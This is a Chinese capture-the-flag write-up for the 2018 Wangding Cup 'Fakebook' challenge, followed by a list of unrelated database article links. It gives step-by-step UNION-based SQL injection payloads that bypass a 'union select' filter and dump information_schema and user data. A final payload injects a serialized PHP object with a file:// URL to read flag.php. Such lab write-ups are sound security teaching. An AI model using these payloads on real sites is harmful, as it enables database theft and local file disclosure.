[网鼎杯 2018]Fakebook1

打开题目

先创建用户,登录试试

观察网址,这是一道注入的题目

测试注入列数

说明注入列数为4

测试注入点

union select 被过滤

替代?no=0 union all select 1,2,3, 4 %23

2是注入点

爆数据库

?no=0 union all select 1,group_concat(schema_name),3, 4 from

information_schema.schemata %23

爆表名

?no=0 union all select 1,group_concat(table_name),3, 4 from

information_schema.tables where table_schema='fakebook' #

爆字段

?no=0 union all select 1,group_concat(column_name),3, 4 from

information_schema.columns where table_name='users' #

爆数据

?no=0 union all select 1,group_concat(data),3, 4 from fakebook.users #

构造序列化结果

data中的数据

?no=0 union all select 1,group_concat(data),3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from fakebook.users #

最后查看源码,看到base64,解码得到flag

相关推荐
老纪的技术唠嗑局1 小时前
OceanBase PoC 经验总结(二)—— AP 业务
数据库
阿里云大数据AI技术2 小时前
OpenSearch 视频 RAG 实践
数据库·人工智能·llm
m0_623955664 小时前
Oracle使用SQL一次性向表中插入多行数据
数据库·sql·oracle
阿蒙Amon5 小时前
C#读写文件:多种方式详解
开发语言·数据库·c#
东窗西篱梦5 小时前
Redis集群部署指南:高可用与分布式实践
数据库·redis·分布式
就是有点傻6 小时前
C#如何实现中英文快速切换
数据库·c#
jnrjian6 小时前
Oracle RAC环境 加错数据文件 的修复 归档非归档都没问题
sql·oracle
1024小神6 小时前
hono框架绑定cloudflare的d1数据库操作步骤
数据库
KellenKellenHao8 小时前
MySQL数据库主从复制
数据库·mysql
@ chen8 小时前
Redis事务机制
数据库·redis